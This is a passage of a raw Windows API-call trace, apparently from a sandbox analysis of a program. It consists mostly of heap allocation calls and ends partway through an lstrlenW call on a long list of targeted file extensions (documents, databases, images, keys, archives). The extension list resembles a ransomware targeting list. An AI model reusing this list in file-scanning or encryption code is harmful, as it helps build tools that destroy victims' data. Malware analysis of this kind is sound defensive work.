(HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x6adec0 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6b3098 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x6adf90 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b3080 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adf90, Size=0x8) returned 0x6adea0 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b3200 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adea0, Size=0x10) returned 0x6b2f78 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b3038 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b3158 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b2f78, Size=0x20) returned 0x6ada48 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b31d0 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adf80 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6b3218 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6b3260 [0217.025] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ada48, Size=0x40) returned 0x687670 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6b2fa8 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6b3230 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6b2f78 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6b30b0 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b2f90 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b3020 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adf70 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b30c8 [0217.025] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687670, Size=0x80) returned 0x6f5120 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b3248 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b30f8 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b3110 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b2fd8 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b3320 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6b3278 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b3338 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adf90 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b32f0 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b32c0 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6b32d8 [0217.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b32a8 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6b3290 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6b3308 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7238 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7298 [0217.026] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5120, Size=0x100) returned 0x6b3898 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f71a8 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f71f0 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7118 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6f71c0 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f71d8 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f70a0 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adf50 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f72c8 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7208 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f70d0 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x6adea0 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7220 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7040 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adf40 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f70b8 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7130 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7250 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7268 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7280 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f72b0 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6f72e0 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f72f8 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6f7310 [0217.026] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7028 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7148 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7058 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7070 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adfb0 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7088 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7160 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f70e8 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7100 [0217.027] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3898, Size=0x200) returned 0x6b3898 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7178 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adef0 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7190 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f74d8 [0217.027] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7328 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7508 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7580 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7538 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7568 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7400 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7340 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7460 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7478 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f73b8 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7430 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7418 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f73d0 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7490 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f74a8 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f75b0 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7358 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f75f8 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7388 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adfc0 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7598 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f74c0 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7550 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adfd0 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7448 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f74f0 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7610 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f73a0 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7520 [0217.028] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f75c8 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7370 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f73e8 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f75e0 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7748 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7760 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f77c0 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7688 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7730 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f76e8 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7778 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f77a8 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7790 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f77d8 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f76a0 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7718 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6ade50 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x6ade60 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7628 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7640 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f76b8 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7658 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f76d0 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7700 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7670 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7c60 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7c30 [0217.029] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7ee8 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7ed0 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7ea0 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7e28 [0217.030] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3898, Size=0x400) returned 0x6f8408 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7c48 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7eb8 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7f00 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7df8 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7c78 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7d38 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7dc8 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7f18 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7c90 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7ca8 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6ade70 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7cc0 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f7d68 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7cd8 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7cf0 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7d50 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7d08 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6f7d20 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7d80 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7d98 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7de0 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7db0 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7e40 [0217.030] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7e10 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7e58 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7e70 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adeb0 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7e88 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8050 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8128 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f81e8 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8038 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8200 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7ff0 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7f48 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7fd8 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6f81d0 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f80f8 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6f8008 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8068 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8110 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8158 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8098 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7f30 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8080 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7f78 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f80b0 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8140 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8020 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8218 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f80c8 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7f90 [0217.031] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f80e0 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8170 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8188 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f81a0 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7fa8 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f81b8 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7f60 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f7fc0 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8230 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f82c0 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6f82d8 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x12) returned 0x6863a8 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8260 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f82a8 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f82f0 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8308 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8320 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8248 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f83e0 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8380 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8278 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8338 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8350 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8290 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8368 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8398 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f83b0 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f83c8 [0217.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8bd0 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8cc0 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8b70 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8c60 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8d08 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8bb8 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8d38 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe) returned 0x6f8b40 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8c78 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adee0 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8cf0 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adc40 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8c00 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8d20 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8db0 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8be8 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8d68 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8df8 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8b58 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8dc8 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8e28 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8c90 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8ca8 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8b88 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6f8c30 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8de0 [0217.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6add30 [0217.034] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8c18 [0217.034] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6f8cd8 [0217.034] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f8408, Size=0x800) returned 0x6f9018 [0217.034] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vd